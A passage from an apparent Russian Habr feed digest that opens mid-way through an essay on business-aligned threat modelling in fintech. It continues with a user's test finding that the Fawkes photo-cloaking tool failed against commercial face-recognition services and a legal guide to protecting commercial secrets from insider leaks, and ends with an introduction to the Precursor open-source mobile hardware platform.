Вы меня извините сразу за такие крайние примеры с обеих сторон, понимаю, что так можно и до сути не довести, но в собственном опыте меня носило из одной крайности в другую, ровно, как написано выше, так что, глубоко надеюсь, что здесь приличная взрослая аудитория, и мой опыт ничтожен на фоне вашего, так как начинал я с полнейшей бумаги в худших ее проявлениях, потом плавно через ИТ переехал в практические области, так что носился из крайности в крайность, видел тех, кто сидел в этих крайностях рядом со мной, так что я не был там одинок и замечу одно:

крайне редко безопасность бывает в компаниях сбалансированной, причем часто вопрос не в ресурсах, а в том, что у нас в головах, ну и головах наших ближайших менеджеров:

  • есть люди, которые сидят и строят безопасность только на бумаге и на уровне общих процессов безопасности (простите за тавтологию), что важно и нужно, но не в отрыве от техники, так что, хоть вся эта система и соответствует стандартам, при реальных кейсах профита будет немного;
  • есть люди, которые бессистемно что-то защищают, инструменты правильные используют, слова правильные говорят, локальный эффект такой подход приносит, а глобально ничего не меняет.

Оба подхода имеют свои положительные стороны, так как недостаточное внимание к каждой из них порождает свои отдельные риски, но правда в балансе, иначе получается безопасность ради безопасности где-то рядом с тем самым сферическим конем в вакууме. Здесь мы подошли к одной очередной очевидной очевидности:

  1. Информационные безопасники топят за необходимость защиты всего и вся, часто не расставляя реальные приоритеты, и радуются любой возможности прилюдно линчевать кого-то гордо нахмурив брови проявить себя при нарушении кем-то построенного или недостроенного процесса.
  2. Практические безопасники часто концентрируются на недопустимости наличия уязвимостей где бы то ни было, так как это потенциально компрометирует все окружение, но имеют также пробелы в части приоритезации, отдавая более высокий приоритет более уязвимой системе, чем более чувствительной, но менее* уязвимой.

Примечание: *
Да, я считаю, что неуязвимых систем не существует, все сводится к сложности эксплуатации и требованиям к компетенциям.

Часто мы опираемся на чужой опыт, на чужие приоритеты, о которых где-то прочитали, которые не всегда неверные и неподходящие, но часто достаточно не оптимальные для конкретных условий, из разряда Quick Start, что порой, все же, может оказаться оправдано, когда кругом перекати-поле и коршуны кружат, и явно лучше, чем ничего, но бизнес тем временем живет сам по себе.

Да, кстати, а что там про диалог бизнеса и безопасности? По моему глубокому мнению, мы (безопасники) очень часто пытаемся продать бизнесу то, что он не понимает, что ему не сильно нужно и то, что к нему слабо относится, либо ничего продать даже не пытаемся. То есть наша аргументация как представителей безопасности строится на идеях и устоях нашей же индустрии, от которой бизнес может оказаться очень далек, а мотивировать нужно понятным языком и обоснованно, тогда эффект будет предсказуемее, долговременнее, а вовлеченность бизнеса выше. В конечном итоге, за бюджетом нам идти именно к бизнесу, как бы ни хотелось, чтоб все было наоборот :)

А зачем мы вообще нужны бизнесу? Иногда безопасность нужна для галочки, так как просто-напросто требуется. Давайте такие кейсы оставим, а поговорим про случаи, когда безопасность появляется из-за понимания потребности в ней. Правильный бизнес хочет денег всесторонне оценивать наперед потенциальные риски, бороться с ними заранее, а также своевременно и эффективно реагировать на реализующиеся угрозы, делать из них выводы на будущее и становиться сильнее. То есть нас нанимают, чтобы мы помогали, но как мы можем помочь?

В первую очередь нужно понимать, каким таким образом компания делает деньги, чем вообще занимается и к чему стремится, а дальше всеми силами это защищать. Если бизнес занимается разведением куриц, которые несут яйца и попадают на столы к добрым людям в качестве еды, то давайте защищать куриц, их яйца, процессы вокруг них и способ доставки на столы. Если же бизнес занимается Big Data, то давайте защищать эту самую биг-дату, вычислители, сырые данные, алгоритмы и все, что с этим связано.

Так вот, к огромному моему сожалению, лишь небольшая часть коллег по цеху в реальности на практике доходит до осознания слабой эффективности несогласованного с бизнесом подхода и до последующего внедрения рабочей модели работы по приоритетам бизнеса. А что позволяет нам определять реальные угрозы? Верно, их моделирование.

Давайте на минутку уйдем в сторону и представим себе общий процесс моделирования угроз, как вижу его я:

  1. Мы определяем ценные активы компании, а ценные это те, нарушение свойств которых ведет в конечном итоге к потерям, по опыту, которые в итоге сводятся к финансовым прямо или косвенно, если речь о коммерческой компании. Здесь у нас, как правило, получается та или иная информация, которую мы должны защищать из собственного интереса или по причинам регулирования. Не довелось мне работать на золотых приисках, может, там и не информация на первом месте.
  2. Ранжируем те самые ценные активы, чтоб хоть как-то расставить приоритеты.
  3. Определяем системы, в которых эти ценные активы обрабатываются и хранятся, а в современной компании, как правило, все обрабатывается автоматизировано, в информационных системах (а то, что кто-то из работников может утащить фикус с подоконника, да пачку кофе с общей кухни, тут смело пренебрегаем, плохо, но масштаб не тот).
  4. Ранжируем системы по степени влияния на свойства тех самых ценных активов.
  5. Определяем процессы, которые влияют на наши ценные активы, и, вероятно, реализуются в системах, которые мы определили выше, хотя не всегда.
  6. Ранжируем процессы по степени влияния на активы и бизнес в целом.
  7. На стыке получаем связи активов с системами и процессами, понимаем**, что защищать и в какую очередь.

Примечание: **
Здесь в короткой версии я умышленно пренебрег доп. деталями, из разряда определения свойств тех и иных объектов, типов участников процессов и т.п., чтобы не уходить в сторону и не усложнять восприятие, но, если будет спрос, готов написать подробный материал по подходу к моделированию угроз, к которому пришел, с привязкой к практическому применению этого процесса, хотя, люди вокруг умные, все и так все знают и понимают.

Так вот, раньше по опыту защищаемым активом у меня всегда была информация, этого было достаточно для построения защиты, но придя в Exness и начав формировать модель, учитывающую локальные особенности, я не мог расстаться с ощущением, что чего-то не хватает, что-то важное пропущено, пока меня не осенило (да-да, смейтесь надо мною, самозванцем-безопасником, пишущим этом пост, и очевидностью происходящего):

В финтехе есть деньги.

Деньги есть в любой компании. Любая компания, как минимум, рано или поздно платит работникам зарплату, арендует офис, ведет какую-то хозяйственную деятельность и обеспечивает работой бухгалтерию, но сводится это к наличию счета в банке, либо, в дополнение к платежной системе, интегрированной с веб-сайтом, но в финтехе есть реальные деньги, при этом с ними работают внешние пользователи, а добрая часть операций над ними автоматизирована. Упс

Теперь давайте представим, что помимо кучи бизнес значимой и другой защищаемой информации, да, в том числе кредов и ключей от Интернет-банкинга, который есть у всех и тоже про деньги, у вас есть, как минимум, реальные деньги клиентов, которые они заводят на свои счета внутри ваших систем. То есть по сути, внутри систем это та же информация, как и все вокруг, но по факту это деньги, которые трансформируются в информацию и обратно на границах систем, но относиться к ним, как к обычной информации не стоит.

На изображении ниже схема информационных потоков одного из наших продуктов :)


Изображение: сериал DuckTales Walt Disney Television Animation

Также уход от парадигмы, что мы защищаем только информацию, позволил понять еще один тип ценных ресурсов, которым я пренебрегал ранее, но он присутствует у всех, хотя и является довольно неоднозначным взаимоотношения, которые могут быть партнерскими отношениями с поставщиком клиентов/трафика, либо с провайдером услуг связи/сервиса безопасности/инфраструктуры. Конечно, раньше я всегда неявно рассматривал это, но в контексте реализации угрозы в вакууме, из разряда Business Continuity Plan и Disaster Recovery Plan, а здесь оно трансформировалось в сознании во вполне осознанный актив, который стоит идентифицировать и защищать, что расширяет наше покрытие, так как мы начинаем двигаться в этом отношении не только от известных угроз, но и от самого актива, как от объекта потенциально подверженного неизвестным угрозам, но не об этом сейчас.

Если посмотреть ближе, то деньги виднеются со всех сторон:

  1. Как минимум, есть все та же хозяйственная деятельность, как и в любой другой компании.
  2. Есть продукты, которые связаны с финансовыми операциями и со скоростью их проведения, в которых заложена реальная логика входа и выхода денежных средств, то есть деньги не получится убрать в дальний сейф и давать посмотреть на них только раз в сутки после специальной церемонии с поклонами и полным раздеванием. Их нужно гонять в системах, и чем быстрее, тем, зачастую, лучше для бизнеса.
  3. Есть огромная куча различных платежных систем и других инструментов, у каждого из которых свои реализации взаимодействия, ограничения и особенности интеграции.
  4. Есть инфраструктура, в которой продукты работают.
  5. Есть инженеры, которые делают продукты; инженеры, которые сопровождают продукты; инженеры, сопровождающие инфраструктуру; финансисты, которые имеют доступ к какой-то части финансовых процессов и многие другие.
  6. Есть сами процессы, которые идут через разные системы и команды.

В итоге, есть огромное количество стыков активов, систем, пользователей, работников, партнеров, процессов, а, как правило, основные угрозы мы получаем на стыках, а дополнительные стыки создают новые угрозы.

Все это к тому, что в корне лежит не только привычная информационным безопасникам информация или данные, а еще и активы другого рода, как деньги, которые при таких масштабах бедствия довольно сложно переложить исключительно на привычную всем нам информацию и данные. Реализация угрозы против какого-то привычного типа информации не всегда ведет к возникновению ущерба, а в случае с деньгами каждая транзакция имеет минимальную известную и однозначную ценность, особенно когда мы говорим о довольно быстром их прохождении, которая может лишь увеличиваться от характера угрозы.

То есть в случае с Интернет-банкингом или крипто-кошельками у вас есть креды/секреты/ключи для доступа к ним (обобщим словом секреты). Секреты это информация, но есть еще процессы, процедуры и церемонии по работе с ними, ну и относительно потенциально узкий круг лиц для работы с ними. Здесь тоже концепция защиты информации не ломается, но когда мы переходим к стадии прохождения платежной логики прямо или косвенно через все вокруг, а также к размазыванию денег по разным продуктам и системам, то ситуация становится куда более tricky :)

В сухом остатке, единственное, на что нам стоит надеяться на нашу связь с бизнесом и наше хорошее его понимание, которое выливается в определенную внутреннюю экспертизу, которую мы можем и должны непрерывно прокачивать и сразу же перекладывать в актуальную модель угроз, которую в свою очередь мы должны накладывать на особенности наших систем, чтобы не допустить разрыва и бессистемности, а, как итог, бессмысленности во всей нашей работе.

Простите, что так много слов про такую короткую мысль, но хочется, чтобы мы все в ИБ-отрасли еще раз задумались о том, что и как мы делаем, и уж, если нам дают такую возможность, то делать все правильно, чтоб все этапы были согласованы друг с другом, а если такую возможность не дают биться за нее, если оно того стоит, иначе мы всегда будем на несколько шагов позади атакующих, так как они обычно свои цели хорошо знают и следуют им, в отличие от нас.

Если этот материал не провалится по полной, то дальше постараюсь более подробно и практически-ориентированно раскрыть основные подходы, инструменты и субъективное видение таких тем, как:

  • Мой велосипед на тему моделирования угроз (если будет спрос на него, так как велосипедов и без моего хватает);
  • (Не)доверие и безопасность;
  • Bug Bounty, как мы это делаем и к чему стремимся;
  • Замечания об особенностях русскоязычного рынка ИБ-специалистов после длительного опыта в качестве интервьюера;
  • Что должно драйвить безопасность.

Если материал зашел плюсуйте, если провал топите в комментариях. Всегда рад конструктивному фидбеку, будь он позитивный или нет.

Всем добра и сбалансированного профессионального подхода!
Подробнее..

Из песочницы Защита фото от систем распознавания лиц работает?

22.09.2020 16:11:47 | Автор: admin
image

За последние полтора месяца (с начала августа 2020) уже довольно много изданий/платформ и ресурсов говорили/писали про Алгоритм Fawkes: https://sandlab.cs.uchicago.edu/fawkes/#press.

Среди которых и Habr, The New York Times, The Verge и т.д.

Действительно, в наше время (тихий 2020 год) довольно актуальна тема со слежкой опознанием граждан по камерам наблюдения и поиск частными лицами по фото (FindFace, etc).

Исследователи из Чикагского университета придумали алгоритм клоакинга, для защиты от распознавания лиц. Выложили исходники на github: https://github.com/Shawn-Shan/fawkes.

В августе я прочитал про этот инструмент (Алгоритм Fawkes). И решил заменить свои фото в социальных сетях и на всех интернет ресурсах, где есть мои реальные фото.

Но, для начала, решил испробовать данный инструмент на своих фото:

  • запускается ли fawkes;
  • проверить собственными глазами результат работы fawkes;
  • проверить на заявленных ресурсах (теми же инструментами, что и автор fawkes проверял свой алгоритм).

Благо на https://github.com/Shawn-Shan/fawkes есть довольно подробная и простая инструкция по работе с fawkes.

Создателем fawkes заявлено, что алгоритм защищает от:

  • Microsoft Azure Face API,
  • Amazon Rekognition Face Verification,
  • Face++ Face Search API.

Данный список указан в Technical Paper:

image

На личном сервере собрал из исходников: git clone; pip3 install fawkes. Это было не просто, а очень просто.

Закинул свое фото на сервер r1.jpg. И по инструкции обработал это фото с помощью fawkes.
На выходе получил второе фото: r1_min_cloaked.png. Ура, я получил клоакнутое фото. Открыл фото r1_min_cloaked.png посмотреть своими глазами. Изменения заметны, но не критичны. Вокруг глаз, переносицы и носа есть не значительные затемнения.

image

После этого решил проверить результат (r1_min_cloaked.png) на сервисах Microsoft Azure Face API, Amazon Rekognition Face Verification и Face++ Face Search API.

Результат:

r1-and-r1_cloacked

Как видим нейросеть Microsoft Azure Face API показала, что оригинальное фото (слева на скриншоте) и фото после обработки (справа на скриншоте) один человек. Аналогичные цифры показали и остальные инструмента проверки: нейросети Amazon Rekognition Face Verification и Face++ Face Search API.

То же самое с защитой фото других людей/персон:

r1_and_cat

obama_origin_and_cloacked

emily_origin_and_cloacked

queen_origin_and_cloacked_faceplusplus

obama_origin_and_cloacked_faceplusplus

То есть по состоянию на середину сентября Fawkes не работает. Возможно, конечно, Fawkes работала в августе 2020 года. Но в сентябре 2020 году уже не работает.

Неделю назад писал письмо разработчику Fawkes и его команде Fawkes team, с просьбой помочь подтвердить работу алгоритма. Но ответного письма пока не получил.

На данный момент я так и не смог подтвердить работу Fawkes.
Подробнее..

Как правильно работать с коммерческой тайной

22.09.2020 18:18:39 | Автор: admin
Сегодня я хочу поговорить об очень распространенной проблеме, с последствиями которой столкнулись мои клиенты. Из отдела продаж уволился менеджер и унес с собой копию базы клиентов. В результате руководство компании всерьез заинтересовалось, что такое коммерческая тайна и как на практике пользоваться этим понятием. К сожалению, очень часто в нашей стране так и происходит, защитой информации начинают интересоваться только тогда, когда хищение уже произошло. Потому я хочу подробнее поговорить об организации труда и разобраться, какие меры нужно применять, чтобы максимально снизить вероятность утечки важных данных.

Все мы понимаем, что живем не в Японии, где существуют пожизненные контракты. Любой сотрудник может уволиться и сменить место работы в любое удобное для него время. Но в процессе работы этот человек получает служебный доступ к ценностям компании. Во многих случаях без этого доступа невозможна эффективная работа специалиста. Но как при этом избежать злоупотреблений?

О ценностях, к которым получают доступ в отделе продаж


В этой публикации я буду говорить преимущественно о работе отдела продаж, именно здесь чаще всего происходят утечки.

Менеджер-продавец обычно получает доступ к таким видам ценностей:

  1. Финансы. Отношение косвенное, так как в отличие от бухгалтерии, с деньгами напрямую отдел продаж не взаимодействует.
  2. Товары. Здесь также доступ только частичный, так как складскими остатками занимается другое подразделение.
  3. Информация. Самый важный момент. Этот тип ценности отдел продаж создает, и в большинстве случаев сотрудник получает прямой доступ к данным, которые накоплены им и его коллегами.

Финансовые махинации возможны в отделе продаж только косвенные, это происходит при помощи манипуляций со скидками или разницей курсов валют. Подробно об этих способах я здесь рассказывать не буду. Махинации довольно известны, как и методы защиты от них. Кроме того, эти злоупотребления не относятся к теме публикации.

Злоупотребления с товарами могут быть реализованы совместно со складскими работниками. Чаще всего при этом создаются расходные документы, на основании которых отгружается товар. Далее электронный документ удаляют, печатную копию уничтожают. По итогам инвентаризации недостача списывается на затраты.

Еще один метод создание пересорта по документам. При этом отгружаются одни наименования, а в документах фигурируют другие, чаще всего, по просьбе покупателя. Иногда такие действия выполняют по указанию руководителя, чаще по собственной инициативе сотрудника. Во время очередной инвентаризации недостачу остатки исправляют, разницу списывают на пересортицу. Эти действия также не относятся к коммерческой тайне.
Потому переходим к самому главному работе с информацией.

Коммерческая тайна: что это?


Многие руководители и владельцы бизнеса ошибочно считают, что все виды информации, которую получают на работе его сотрудники для выполнения служебных функций, можно считать по умолчанию коммерческой тайной. Эти ошибки и приводят к печальным последствиям.

Коммерческая тайна это даже не сами защищенные сведения, а режим работы компании. Т.е. только внедрение определенного режима работы, в том числе, соответствующего документооборота, поможет защитить коммерческой тайной выбранные виды сведений.

Когда-то фраза режимный объект ассоциировалась с чем-то военным, так как там была максимальная степень защиты, в том числе, любых видов данных. Сегодня к режимным можно отнести в том числе компании, которые используют коммерческую тайну, т.е. четко определяют, какую информацию они защищают, и принимают соответствующие организационные действия.

Режимной не может быть информация, которую можно получить в открытом доступе название, адрес, ИНН, телефон компании и пр. В принципе, не может считаться конфиденциальной любая информация, которая находится в открытом доступе, но, в первую очередь здесь следует руководствоваться списком из статьи 5 ФЗ о коммерческой тайне.

Статья 5. Сведения, которые не могут составлять коммерческую тайну


Режим коммерческой тайны не может быть установлен лицами, осуществляющими предпринимательскую деятельность, в отношении следующих сведений:

  1. содержащихся в учредительных документах юридического лица, документах, подтверждающих факт внесения записей о юридических лицах и об индивидуальных предпринимателях в соответствующие государственные реестры;
  2. содержащихся в документах, дающих право на осуществление предпринимательской деятельности;
  3. о составе имущества государственного или муниципального унитарного предприятия, государственного учреждения и об использовании ими средств соответствующих бюджетов;
  4. о загрязнении окружающей среды, состоянии противопожарной безопасности, санитарно-эпидемиологической и радиационной обстановке, безопасности пищевых продуктов и других факторах, оказывающих негативное воздействие на обеспечение безопасного функционирования производственных объектов, безопасности каждого гражданина и безопасности населения в целом;
  5. о численности, о составе работников, о системе оплаты труда, об условиях труда, в том числе об охране труда, о показателях производственного травматизма и профессиональной заболеваемости, и о наличии свободных рабочих мест;
  6. о задолженности работодателей по выплате заработной платы и социальным выплатам;
  7. о нарушениях законодательства Российской Федерации и фактах привлечения к ответственности за совершение этих нарушений;
  8. об условиях конкурсов или аукционов по приватизации объектов государственной или муниципальной собственности;
  9. о размерах и структуре доходов некоммерческих организаций, о размерах и составе их имущества, об их расходах, о численности и об оплате труда их работников, об использовании безвозмездного труда граждан в деятельности некоммерческой организации;
  10. о перечне лиц, имеющих право действовать без доверенности от имени юридического лица;
  11. обязательность раскрытия которых или недопустимость ограничения доступа к которым установлена иными федеральными законами.


Режимными являются данные, которые в организации считают закрытыми, они предназначаются исключительно для служебного использования, а их разглашение считают нарушением коммерческой тайны.

В отделе продаж к режимной информации относятся:

  1. Клиентская база.
  2. Транзакции с покупателями.
  3. Сведения о взаимоотношениях с клиентами.

В клиентскую базу включают перечень организаций и частных лиц, являющихся покупателями (клиентами): их названия, ФИО контактных лиц, телефоны, адреса, другие способы связи.
Транзакции это подробности финансовых взаимоотношений (когда платят клиенты, с каких реквизитов, какими платежами и пр.).

Взаимоотношения включают в себя сведения о потребностях покупателей, частоту поступления заявок, особенности отгрузок и пр. На основании этих данных можно понять, как и что лучше продавать тому или иному клиенту.

Почему нужно защищать информацию


Защищать коммерческой тайной крайне важно все категории данных, описанные выше. Только тогда компания сможет работать безопасно.

Если эти данные станут доступны конкурентам, они смогут воспользоваться информацией. Например, свяжутся с вашими клиентами и сделают им интересное предложение с лучшими ценами или товарами, которые вы им не можете предложить.

Часто организации сотрудничают на постоянной основе, они всем довольны, а потому не мониторят рынок и не знают, что есть варианты сотрудничества более выгодные, чем у них сейчас. Но если в такую компанию придет интересное предложение, скорей всего, организация сменит поставщика. Компания, из которой произошла утечка, потеряет прибыль.

Подробнее об утечке: как это бывает


Самые распространенные варианты:

  1. Сотрудник скачивает себе копию базы данных в любом удобном виде. Это могут быть файлы с данными или сведения на бумаге.
  2. При переписке по email с клиентом копии отправляются на почтовый ящик сотрудника или третьих лиц. Изучение этих сведений помогает получить нужную информацию.

Такие утечки могут создаваться постепенно, в результате люди продолжают работать в организации, но при этом получают доход от конкурентов. Намного чаще клиентскую базу скачивают в личное пользование перед запланированным увольнением.

Также менеджер может в этот период устроить некую разновидность саботажа. Например, клиентам, которых хочет увести к конкурентам, предложит менее выгодные условия, а после, уже на новом месте, с полным пониманием всех нюансов, заключит выгодную сделку.

Ущерб от нарушения коммерческой тайны


Чтобы оценить ущерб, нужно понимать, какие ресурсы компании в случае потери можно возобновить, а какие невозможно или крайне сложно. Так, если у вас украли какие-то товары, это неприятно, но все же вы можете купить новые. Правда, для этого нужны деньги. Но деньги это тот самый ресурс, который вы получаете от своих клиентов. Потому ситуация с подобным хищением неприятная, но поправимая.

Клиентов в бизнесе можно сравнить с колодцем, где всегда имеется вода. Пока вы используете этот колодец, бизнес работает, а любые потери можно компенсировать.

А теперь давайте представим, колодец высох. Из него ушла вода, т.е. клиенты. Такое случается при утечке коммерческой тайны.

В жизни отказ от сотрудничества всех клиентов компании практически не встречается. Обычно в результате утечек уходит только часть клиентов. Но даже в таком случае получится, что у вас уровень воды заметно снизился, и это надолго. Т.е. вы получаете меньшую прибыль, причем, не только сегодня, но и завтра, и даже через год. Чем большую лояльность проявлял к вам клиент, тем больше потенциальной прибыли вы теряете.

В отечественном бизнесе, как ни странно, этим моментам уделяется недостаточное внимание. На самом деле, это большая ошибка. Финансы и материальные ценности возобновимы, клиенты нет. Если покупатель сменил поставщика, обратно он практически никогда не возвращается.

Нарушение коммерческой тайны: реальные истории


Чтобы лучше понять ущерб, который получает компания при недостаточном внимании к вопросам коммерческой тайны, я решил поделиться с вами примерами, с которыми сталкивался в реальной жизни. Суть везде одинакова кто-то получает доступ к сведениям и начинает их использовать не на пользу компании. Но где-то это окончилось уголовным судом, а где-то бывший сотрудник или партнер безнаказанно пользуется данными. Все зависело от того, позаботились о себе люди заранее или нет.

Утечка из сметно-тендерного отдела


Компания работает с крупными промышленными и нефтяными объектами, и периодически проводит тендеры на строительство.

В сметно-тендерном подразделении на высокой должности работает девушка. А муж ее в руководстве строительной компании, регулярного участника подобных конкурсов. Перед проведением очередного тендера девушка копирует данные и пересылает файлы на свой личный email. В результате строительная компания получает всю тендерную документацию, в том числе, служебную, еще до объявления тендера.

Здесь компания защитой информации и коммерческой тайной занялась своевременно. Потому, как только о нарушении стало известно, сотрудница была уволена по статье За разглашение конфиденциальной информации.

Она пробовала защищаться через суд, но вина была однозначной. В результате девушка потеряла не только неплохую зарплату и хорошее место, но много больше. С такой репутацией устроиться куда-то будет крайне сложно.

В РФ уже сейчас вводятся трудовые книжки в электронном виде. После их повсеместного распространения уж никак не получится потерять трудовую с неудобной записью и начать все с нуля. В результате подобные проблемы с репутацией становятся еще более серьезными, чем раньше, и оказывают намного большее влияние на мотивацию людей, чем различные виды штрафов.

Данные клиентов банка


В одном из крупных банков сотруднику для работы были доступны базы с конфиденциальными сведениями клиентов (физических лиц), где фигурировали в числе прочего, номера банковских карт, телефоны и кодовые слова.

Далее этот человек договорился с третьими лицами, что будет периодически передавать им данные о счетах клиентов, а также сведения, которые облегчат к ним доступ. Эта история продолжалась не один день. Мошенники снимали с чужих карт деньги, люди несли ущерб, банк нес репутационные потери и терял клиентов.

Служба безопасности выявила источник проблем, сотрудник был уволен и понес наказание по уголовной статье. Здесь ответственность оказалась крайне серьезной. Но начиналось все с того, что человек получил доступ к закрытым данным, но не сумел понять, чем ему в результате подобные схемы грозят.

Отдел продаж и коммерческая тайна


Эта история уже давно стала массовой проблемой, потому здесь я пример решил обобщить. В отделе продаж постоянно ведется работа с клиентской базой, менеджеры получают знания о клиентах, их особенностях, взаимоотношениях с ними. Значительную часть такой информацию менеджер сам получает от клиента и своими руками вносит в базу. В результате у многих людей возникает ощущение, что эти данные принадлежат им лично, а не компании.

Как итог, накануне увольнения (а нередко и раньше) менеджер собирает сведения о своих клиентах и копирует их себе. Кто-то уносит домой файл на флешке, кто-то пересылает через интернет, некоторым ближе бумажные записные книжки с пометками. Это не принципиально, главное, что данные уходят за пределы компании. Часть менеджеров таким образом копируют данные не только о своих покупателях, но всю клиентскую базу.

Так происходит в одном из двух случаев:

  1. Менеджер планирует увольняться и устраиваться на работу к конкурентам;
  2. Знакомые сотрудника или он сам собирается открывать подобный бизнес.

Как может на подобные нарушения реагировать работодатель:

  1. Дисциплинарные методы воздействия, в том числе, с занесением сведений в трудовую. Так делают, если ситуация сложная, но не критическая, и по каким-то причинам увольнять человека не хотят.
  2. Увольнение по статье. Важно, чтобы в компании была четко разработана коммерческая тайна, а сотрудник в свое время подписал документ об ответственности. Иначе такое увольнение легко обжалуют в суде.
  3. Заявление в правоохранительные органы. Применяется, если в результате действий сотрудника наступила ситуация, попадающая под действие УК РФ.

Что нужно знать: При внедрении режима коммерческой тайны руководство организации определяет четкий список видов информации, которая представляет особую ценность для бизнеса. С этим списком обязательно знакомят сотрудников (под подпись). Выбор вида информации ничем не ограничен.

Модернизация станка и недобросовестный подрядчик


В этой истории речь пойдет о производственной компании. Для собственных нужд специалисты модернизировали один из станков. По сути, он стал уникальным, так как никто ничего подобного не выпускает. Через время станок вышел из строя. Для ремонта была выбрана сторонняя организация, которой передали не только сам станок, но также чертежи уникальных доработок.

Специалисты по ремонту выполнили свои обязательства, станок вернули работоспособным. А через некоторое время компания, выполнявшая подряд на ремонт, начала выпускать станки с такой же доработкой.

Здесь владельцы информации не смогли защитить свои права, так как нигде не прописали, что в коммерческую тайну включены чертежи доработанного станка.

Франшиза и секрет производства


Франшиза в современном бизнесе очень распространена. Продается по франшизе практически все, что можно представить, от рецепта гамбургеров до инструментов маркетинга. Все, что можно назвать интеллектуальной собственностью, может продаваться по франшизе.

Отдельно стоит разобраться с таким понятием, как секрет производства.

Секрет производства это один из видов интеллектуальность собственности.

ГК РФ Статья 1465. Секрет производства (ноу-хау)


(в ред. Федерального закона от 12.03.2014 N 35-ФЗ)

1. Секретом производства (ноу-хау) признаются сведения любого характера (производственные, технические, экономические, организационные и другие) о результатах интеллектуальной деятельности в научно-технической сфере и о способах осуществления профессиональной деятельности, имеющие действительную или потенциальную коммерческую ценность вследствие неизвестности их третьим лицам, если к таким сведениям у третьих лиц нет свободного доступа на законном основании и обладатель таких сведений принимает разумные меры для соблюдения их конфиденциальности, в том числе путем введения режима коммерческой тайны.

2. Секретом производства не могут быть признаны сведения, обязательность раскрытия которых либо недопустимость ограничения доступа к которым установлена законом или иным правовым актом.

Например, если список клиентов, их контакты, проекты и история отношений представлены в виде базы данных, то такая база являются охраняемым результатом интеллектуальной деятельности (подп. 3. п.1 ст. 1225 Гражданского кодекса РФ), а способ поиска, привлечения клиентов и формат сотрудничества с ними может считаться секретом производства по смыслу ст. 1465 Гражданского кодекса РФ.

Правовая охрана, в свою очередь, возникает с внедрения режима коммерческой тайны, и это единственный способ.

Итак, секрет производства с юридической точки зрения появляется, когда на определенную информацию, связанную с методами производства, распространяется коммерческая тайна.
Например, секрет производства Coca-cola хранится очень бережно. В результате годами конкуренты пытаются повторить рецептуру, но точно такой же вкус не сумел воспроизвести никто.

Но бывает и по-другому. Небольшие организации нередко не умеют правильно хранить секрет производства.

Например, небольшая фирма покупает по договору концессии (по франшизе) барбер-шоп. Кстати, франшиза в этом случае название не совсем верное, но общепринятое. Итак, под определенным брендом открывается новое заведение. Его руководителей и сотрудников обучают определенным стандартам работы, они получают доступ к документации, которая относится к собственности разработчиков бренда.

Барбер-шоп работает, владелец в соответствии с договором коммерческой концессии, отчисляет определенные средства за пользование брендом. Через время заведение закрывается или, как еще один вариант, из него уходят сотрудники, которые имели доступ к большей части коммерческой информации.

Через время открывается новое заведение, и бренд у него свой, особенный. Но клиенты в нем узнают знакомый барбер-шоп по многочисленным признакам: подход к работе, фишки, принципы и т.д.

При покупке франшизы такое в РФ случается очень во многих сферах. А причина здесь одна владельцы бренда совершают ошибки при составлении документов. В итоге, их секреты производства получают чужие люди безнаказанно и бесплатно.

Как защитить коммерческую информацию


Что нужно для грамотного введения режима коммерческой тайны:

  1. Создать документы, в которых подробно описаны все разновидности данных, считающиеся коммерческой тайной.
  2. Подписать с каждым сотрудником обязательство о неразглашении (при трудоустройстве оно становится неотъемлемой частью трудового договора).

Таким образом, компания получит юридическую защиту от возможных действий сотрудников, которые имеют доступ к коммерческой информации.

В то же время люди уже при трудоустройстве понимают, какая информация относится к закрытой. Они осознают возможные последствия копирования и разглашения этих данных. В результате, даже при увольнении человек хорошо подумает, стоит ли забирать с собой клиентскую базу, так как понимает, что ему грозит в случае, если информация об этом станет известной работодателю.

Вопросы и ответы


Как определить, какая информация считается коммерческой тайной?

Каждая компания составляет полный, однозначный и четкий перечень типов информации, которую она считает необходимой закрыть. Сотрудников знакомят с этим списком, после чего они подписывают обязательство о неразглашении. В результате все сотрудники четко знают, какая именно информация не подлежит разглашению или использованию в личных целях. Возможную ответственность за нарушение прописывают в документе о неразглашении. Он и становится в суде доказательством злоупотребления.

Часто ли злоупотребляют коммерческой тайной?

По личному опыту могу сказать, что процент подобных злоупотреблений не слишком велик, особенно, если компания заранее озаботилась введением режима коммерческой тайны. Чаще всего унести с собой клиентскую базу стремится сотрудник, которому слишком мало платили или как-то иначе обидели, например, обошли при назначении на руководящую должность и т.д. Также клиентская база интересна людям, которые планируют открыть самостоятельно подобный бизнес, или имеют родных и друзей, которые занимаются аналогичной деятельностью.

Реально ли бороться с этим видом злоупотреблений?

Можно продумать различные методы борьбы с утечкой информации, в том числе, на помощь здесь приходят технические методы (права доступа к разным видам информации). Но любую проблему лучше предупредить, чем разбираться с последствиями. Потому важно убедиться, что человек ознакомлен с документами, связанными с коммерческой тайной, и четко сознает возможные последствия злоупотребления.

В этом случае работает тот же принцип, что и для граждан в государстве. Все знают, что законы нарушать нельзя. Все понимают, какую ответственность можно понести в том или ином случае. Потому большая часть граждан соблюдают законодательство. Аналогично и с коммерческой тайной. Если человек понимает, что наказание может быть серьезным, начиная от штрафов и потери репутации, и оканчивая в некоторых случаях уголовным, он три раза подумает, стоит ли нарушать подписанные обязательства.
Подробнее..

Precursor собери сам свое open-source мобильное устройство с криптографической защитой

22.09.2020 20:11:13 | Автор: admin


На днях представлен проект открытой программной платформы для создания мобильных устройств. Он получил название Precursor. По словам автора, это Arduino или Raspberry Pi для мобильной отрасли. На базе платформы можно собрать любой мобильный девайс.

В отличие от тех же одноплатников, Precursor поставляется в корпусе, с готовой клавиатурой и дисплеем. Подробнее о проекте под катом.

Характеристики устройства


Корпус изготовлен из алюминия, его размеры 69 x 138 x 7.2 мм. Есть LCD-экран (336*536), аккумулятор на 110 мА*ч, клавиатура, динамик, вибромотор и акселерометр.

Основа девайса программно-определяемый SoC, FPGA Xilinx XC7S50, на его базе организована эмуляция 32-разрядного CPU RISC-V, работающего на частоте 100MHz. Разработчик утверждает, что эмулировать можно работу широкого спектра процессоров от 6502 и Z-80 до AVR и ARM, а также звуковых чипов и различных контроллеров.

Кроме того, плата включает 16 MB SRAM, 128 MB Flash, Wi-Fi Silicon Labs WF200C, USB type C, SPI, IC, GPIO.

Платформа оснащена двумя аппаратными генераторами псевдослучайных чисел. Это сделано для повышения уровня безопасности. Интересный момент устройство не имеет микрофона. Для считывания звука нужно подключить гарнитуру. Это сделано в целях защиты от подслушивания. Если гарнитура отключена, звук не будет регистрироваться, соответственно, удаленно что-то подслушать невозможно.

